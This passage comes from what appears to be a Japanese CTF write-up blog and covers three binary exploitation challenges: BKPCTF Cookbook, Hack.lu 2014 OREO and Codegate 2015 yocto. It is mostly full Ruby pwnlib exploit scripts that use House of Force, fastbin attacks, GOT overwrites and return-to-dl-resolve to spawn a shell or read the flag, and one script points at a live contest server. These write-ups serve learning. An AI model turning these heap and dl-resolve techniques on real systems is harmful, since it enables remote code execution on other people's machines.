  puts "libc base   0xx" % $libc_base
  puts "libc system 0xx" % libc_system

  t.recv_until("[q]uit\n")
  t.sendline("c")
  
  t.recv_until("[q]uit")
  t.sendline("g")
  
  # sturct Rceipe {
  #   uint32_t *ingredient_name;
  #   uint32_t *ingredient_nums;
  #   char name[116];
  #   char category[16];
  #   char instructions[896];
  # };
  
  # called fgets(Recipe->instructions, 0x40c, stdin)
  # So, overwrite the top chunk size
  payload = "A" * 0x380
  payload << p32(-1)
  t.sendline(payload)

  t.recv_until("[q]uit")
  t.sendline("q")

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  # House of Force

  # 次のmallocの戻り値がstrtoul@gotに固定される
  target = 0x804d030 - 8 - top_chunk
  target = 2 ** 32 + target

  t.sendline(target.to_s(16))  # size
  t.sendline("GOMI")           # value

  # このままgでmallocを呼ぶとSEGVで落ちてしまった.(おそらく指定したサイズが悪い?)
  # そこで違うところでcallocを呼んでみたらうまくいった
  # 理由はわからない・・・誰か教えてほしい
  t.recv_until("[q]uit\n")
  t.sendline("c")

  t.recv_until("[q]uit\n")
  t.sendline("n")

  t.recv_until("[q]uit\n")
  t.sendline("q")

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  t.sendline("100")            # size 適当
  t.sendline(p32(libc_system)) # value

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  # strtoul@got -> __libc_system
  t.sendline("/bin/sh")        

  t.shell

end

以下が実行結果である.

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> ruby x.rb                                                                                               ASLR: ON
[*] connected
heap base   0x0867f000
top chunk   0x086806b8
libc base   0xf7620000
libc system 0xf7660310
[*] waiting for shell...
[*] interactive mode
cat flag.txt
BKPCTF{hey_my_grill_doesnt_work_here}

感想

自力で解けて嬉しかったけど,時間かかりすぎたw 丸一日かけてしまったw

Hack.lu2014 OREO(pwn400)

本日は,何の日でしょうか? 本日は,バレンタインデーです.CTFerのみなさんはチョコをもらえたでしょうか. まだチョコをもらっていない人のためにOREOをみなさんにお届けします.

環境

本問題は以下の環境で行った.とりあえずUbuntu16.04LTSではうまく行かなかった.

uname -a

Linux vagrant-ubuntu-trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04 LTS"

下調べ

file

oreo: ELF 32-bit LSB  executable
Intel 80386
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.26
BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b
stripped

checksec

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

解析

Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

各種コマンドの概要

1. Add new rifle

  • malloc(56)が呼ばれる
  • nameとdescriptionの入力
  • HeapOverflowが発生

2. show added rifles

  • 追加したライフルのname, descriptionが見れる

3. Order selected rifles

  • freeを使って追加したライフルを解放

4. Leave a Message with your Order

  • メッセージの入力ができる

5. Show current stats

  • 注文の回数が見れる

以下にmallocで確保される構造体を示す.

struct Rifle {
    char desc[25];
    char name[27];
    struct Rifle* next;        
};

攻略方針

HeapOverflowを利用すると,Rifle->nextを任意の値に書き換えることで,2を利用した際にリークが発生する.このリークを使って,まずgotの情報を全部抜き取ってしまう.同様にしてstdinのアドレスもリークさせる. 次に,fastbins unlink attackを用いて,mallocの戻り値を固定することを考える.x86では80byte以下のchunkはfree時にfastbinsというサイズ毎に存在するLIFOな片方向リストにつながる.これに偽のchunkを登録して,再度mallocを呼ぶとLIFOなので偽chunkが返ってくる.これを利用して任意のアドレスの書き換えが可能になる. また,本問題はlibcが与えられていない上に,カスタムlibcと呼ばれるオフセットなどが運営側でいじられているlibcになっている.いわば簡単にオフセットが求まらないlibcである.そこでReturn to dl-resolveと呼ばれるlibc情報を一切使わない手法を用いて,動的に__libc_systemのアドレスを取得する.そのためには,既知のアドレス上に偽構造体を作る必があるので,最初の方法でHeap領域のアドレスをリークし,そこにfgetsで読み込んで作り上げていく.その際にGOT領域なども書き換えて踏み台にしていったりするので,とても長いexploitになっていく.
Return to dl-resolveの説明に関しては,ROP stager + Return-to-dl-resolveによるASLR+DEP回避にかなわない(めんどくさかった…気が向いたらそれだけの記事を書くかもしれない)ので,こちらを参考にしていただきたい.

Exploit

stkofのときもそうだったが,Exploitが難しいと説明が難しい… コードにそって詳しいコメントを書いていったので,それを追って見ていこうと思う.

# coding: ascii-8bit
require 'pwnlib'

host = "localhost"
port = 8888

if ARGV[0] == "r"
  host = "wildwildweb.fluxfingers.net"
  port = 1414
end

def recv_until_Action(t)
  t.recv_until("Action: ")
end

def add(t, name, desc)
  recv_until_Action(t)
  t.sendline("1")
  t.recv_until("Rifle name: ")
  t.sendline(name)
  t.recv_until("Rifle description: ")
  t.sendline(desc)
  $rifle_counter += 1
  puts "Rifle count = %d" % $rifle_counter
end

def show(t)
  recv_until_Action(t)
  t.sendline("2")
  t.recv_until("Action: ").scan(/Description: (.*)\n/)[1][0].unpack("L*")
end

def order(t)
  recv_until_Action(t)
  t.sendline('3')
  t.recv_until("\n")
end

def leave(t, msg)
  recv_until_Action(t)
  t.sendline('4')
  t.recv_until(": ")
  t.sendline(msg)
end

def show_current_stats(t)
  t.sendline("5")
  t.recv_until("\n")
end

def leak(t, addr, name = nil)
  name = name.to_s if name.nil?
  payload = name.ljust(27, "A")
  payload << p32(addr)
  add(t, payload, 'desc')
  tmp = show(t)
  show_current_stats(t)
  return tmp
end

PwnTube.open(host, port) do |t|

  $rifle_counter = 0

  # ordered_counter 0x804a2a0
  # rifle_counter   0x804a2a4
  # pMessage        0x804a2a8
  # Message         0x804a2c0

  puts_got     = 0x804a248
  stdin_got    = 0x0804a280
  link_map_got = 0x804a22c

  pop3ret      = 0x8048b46  
  leave_ret    = 0x804844c
  popebp_ret   = 0x8048ae3
  
  # 偽chunkに利用
  # rifle_counterはライフルを追加していって,0x40にする
  fake_chunk_prev_size = 0x804a2a0
  fake_chunk_data = fake_chunk_prev_size + 8


  link_map, dl_resolve, printf, free, fgets, stack_chk_fail, malloc, puts, gmon_start, strlen, libc_start_main, isoc99_scanf = leak(t, link_map_got)
  stdin     = leak(t, stdin_got)[0]

  buf_addr = 0
  
  rifle_addr = 0x804a288
  rifle_cnt = 58

  # 影響がないヒープ領域(真ん中ぐらい)のアドレスを計算
  heap = leak(t, rifle_addr)[0]
  buf_addr = (heap + 0x8000) & 0xfffff000
  
  # 58回mallocを繰り返す
  rifle_cnt.times do |i|
    add(t, 'name', 'desc')
  end
  
  payload = p32(buf_addr)   # ebp
  payload << p32(fgets)
  payload << p32(leave_ret)
  payload << p32(buf_addr)  # ba5eba5e
  payload << p32(1025)
  payload << p32(stdin)
  
  heap = leak(t, rifle_addr, payload)[0]
  
  # desc[25]の方が先にあるので,+25してアドレスをnameに合わせる
  stager_addr = heap + 25

  puts("[+] link_map    0x%x" % link_map)
  puts("[+] dl_resolve  0x%x" % dl_resolve)
  puts("[+] stdin       0x%x" % stdin)
  puts("[+] stager_addr 0x%x" % stager_addr)
  puts("[+] buffer_addr 0x%x" % buf_addr)

  # Rifle->nextをNULLにすることで,余分にfreeされないようにする
  payload = 'A' * 27    # name
  payload << p32(0)     # next
  add(t, payload, 'desc')

  # 偽chunkの次のchunk(0x804a2e0)に適切なサイズを配置
  # 条件:8 < x < main_arena->system_mem (32bit)
  payload = "\x00" * 32
  payload << p32(0x9)
  leave(t, payload)


  ##########################
  # fastbins unlink attack #
  ##########################


  # Rifle->nextを偽chunkにしておく
  payload = 'A' * 27
  payload << p32(fake_chunk_data)
  add(t, payload, "")

  # 1回目のfreeは最新のchunkを解放
  # 2回目は,上記で仕込んだ偽chunkを解放
  order(t)
  
  # objdump -s -j .plt oreo
  plt = 0x8048450     # push link_map; jmp popebp_ret;
  
  # ebpをずらすので,Canaryが一致せず,__stack_chk_failが呼ばれる

  payload = ""                # 書き換え前GOT
  payload << p32(stager_addr) # link_map
  payload << p32(popebp_ret)  # dl-resolve
  payload << p32(printf)      # printf
  payload << p32(plt)         # free
  payload << p32(fgets)       # fgets
  payload << p32(leave_ret)   # __stack_chk_fail
  payload << p32(malloc)      # malloc
  payload << p32(puts)        # puts
  
  # fastbins unlink attackにより,偽chunkが返される
  # この偽chunkは選択肢4で使われるアドレスを指す
  # これをlink_map_gotに書き換えることで,選択肢4での入力先を書き換え
  add(t, 'rID', p32(link_map_got))

  # 書き換えたことによりfgets(link_map_got, 0x80, stdin)が呼ばれる
  leave(t, payload)
  
  # 書き換えられたfreeが実行
  order(t)

  
  ########################
  # Return to dl-resolve #
  ########################


  binsh_str  = "/bin/sh\x00"
  system_str = "system\x00\x00"

  # fgets(buf_addr, 0x401, stdin)に入力されていくpayload
  fake_rel = buf_addr + 11 * 4 + binsh_str.length + system_str.length
  fake_dynsym = fake_rel + 8

  
  # objdump -D oreo -M intel -j .rel.plt
  relplt = 0x080483d8
  
  # objdump -s -j .dynsym oreo
  dynsym = 0x080481f8
  # dynsymを偽Elf32_Sym構造体に書き換える
  dynsym = fake_dynsym 
  
  # gdb-peda$ find 0x080481f8
  dynsym_addr = 0x804a188
  
  # objdump -s -j .dynstr oreo
  dynstr = 0x080482c8
  
  # dl_runtime_resolve関数の第2引数reloc_offset
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info = (index_dynsym << 8) | 7

  puts("[+] fake_rel     0x%x" % fake_rel)
  puts("[+] fake_dynsym  0x%x" % fake_dynsym)
  puts "[+] reloc offset 0x%x" % reloc_offset
  puts "[+] index dynsym 0x%x" % index_dynsym
  puts "[+] r_info       0x%x" % r_info
  
  if(dynsym + index_dynsym * 16 == fake_dynsym)
    puts "assert"
  end
  
  if(index_dynsym < 256)
    puts "assert2"
  end

  # fgets(buf_addr, 1025, stdin)に入るpayload
  payload =  p32(0xba5eba5e)

  # fgets(dynsym_addr, 5, stdin)
  # dynsymをfake_dynsymに書き換え
  payload << p32(fgets)
  payload << p32(pop3ret)
  payload << p32(dynsym_addr) 
  payload << p32(5) 
  payload << p32(stdin)

  # dl_resolve(link_map, reloc_offset)
  # その後,eipが__libc_systemに移る
  payload << p32(dl_resolve)
  payload << p32(link_map)
  payload << p32(reloc_offset) 
  
  binsh = buf_addr + payload.length + 8
  payload << p32(0xdeadbeef)
  payload << p32(binsh)
  payload << binsh_str
  
  system = buf_addr + payload.length
  payload << system_str

  if(fake_rel == buf_addr + payload.length)
    puts "assert3"
  end

  # ここからfake_rel
  payload << p32(puts_got)
  payload << p32(r_info)  

  if(fake_dynsym == buf_addr + payload.length)
    puts "assert4"
  end

  # ここから,fake_dynsym
  # fake_dynsym->st_name + dynstr = "system"を指したい
  payload << p32(system - dynstr) # st_name
  payload << p32(0)               # st_value
  payload << p32(0)               # st_size
  payload << [0x12].pack("C")     # st_info 
  payload << [0x00].pack("C")     # st_other
  payload << [0x00].pack("S")     # st_shndx
  
  payload << p32(0xdeadbeef)
  t.sendline(payload)
  
  # fake_dynsymの送ってdynsymを書き換え
  t.sendline(p32(dynsym))

  t.interactive

end

Hack.luのサーバはまだ動いているので,実際にリモートに向けてexploitコードを試した結果が以下である. f:id:encry1024:20170203234938p:plain また,lddでリンクされているlibcを求めて,実際に実行してみるとカスタムlibcだと言っている. f:id:encry1024:20170203235054p:plain

感想

たぶん半年ぐらい空けてようやく理解ができた.コンテスト中にここまで緻密にstagerしていくのは,まだできないので良い練習になったと思う.達成感はデカイ.@wapiflapioのwriteupを参考(丸パクリ)しながら検証していったので,とても助かった.しかしところどころ必要のないと思われる部分があり,そこは自分なりに修正したので間違っていた教えていただきたい.

参考資料

Codegate2015 Finals yocto(pwn600)

良い過去問題の1つだと思う.参考資料のサイト見ながら解いてみた.

下調べ

vagrant@ubuntu4ctf ~/c/Codegate> file yocto | sed -e 's/, /\n/g'
yocto: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
BuildID[sha1]=95c4e813fa1e2c84b3adf4bc77d48f5057761266
not stripped
vagrant@ubuntu4ctf ~/c/Codegate> checksec --file yocto
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       yocto

良いバイナリ

解析

80byte分readで読み込まれる.その際,".“で区切られた数字をatoiで数値に変換し,スタック上に格納し,格納した値のjmpで飛ぶ.
例えば,"1111.2222.3333"と入力した場合には,[esp]に2222, [esp+8]に1111,3333にjmpする動作となる.
また,shutdown(0, SHUT_RD); shutdown(1, SHUT_RD); shutdown(2, SHUT_RD);が最初の方にされており,これ以降のfd(0,1,2)の受信は禁止されている.(正直イマイチ意味がわかってない・・・後述のexploitでshがうまく起動できなかったのはこれが原因?)

Exploit

libcのアドレスをリークできるような処理が見つけられなかったし,練習したかったので,Return to dl-resolveを用いて解いてみる.
まず偽reloc_offsetを用いて,偽Elf32_Rel構造体を参照させる.次に,偽Elf32_Rel->r_infoに偽Elf32_Sym構造体を参照させる.最後に偽Elf32_Sym->st_nameの指す先を"system"になるように調節する.これらの状態にするためには既知のアドレスを使ってうまく配置しなければいけない.幸い今回はグローバル変数があるので,そこを使った.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

PwnTube.open(host, port) do |t|

  padding      = 21
  buf          = 0x80495c0
  plt          = 0x80482a0
  relplt       = 0x8048270
  dynsym       = 0x804818c
  dynstr       = 0x80481fc
  system_str   = "system\x00"
  fake_rel     = buf + 40
  system_addr  = fake_rel + 8
  fake_dynsym  = system_addr + system_str.length + padding
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info       = (index_dynsym << 8) | 0x7
  r_offset     = 0x8049610
  st_name      = system_addr - dynstr

  # relplt + reloc_offsetが,偽Elf32_Rel構造体を指すようにする
  payload = "." + reloc_offset.to_s + "." + plt.to_s
  payload << ";cat flag;" # 予めlsなどでFLAGを見つけておく
  payload = payload.ljust(40, "A")

  # 偽Elf32_Rel構造体
  payload << p32(r_offset)
  payload << p32(r_info)

  payload << system_str
  payload << "A" * padding

  # 偽Elf32_Sym構造体
  # dynstr + st_nameのアドレスが"system"を指す
  payload << p32(st_name)

  #STDIN.gets
  t.sendline(payload)

  puts t.recv

end

以下が実行結果である.

vagrant@ubuntu4ctf ~/c/Codegate> ruby x.rb                                            
[*] connected

Dyn4m1c L1nk3r? Hah! just cd80!
[*] connection closed

参考資料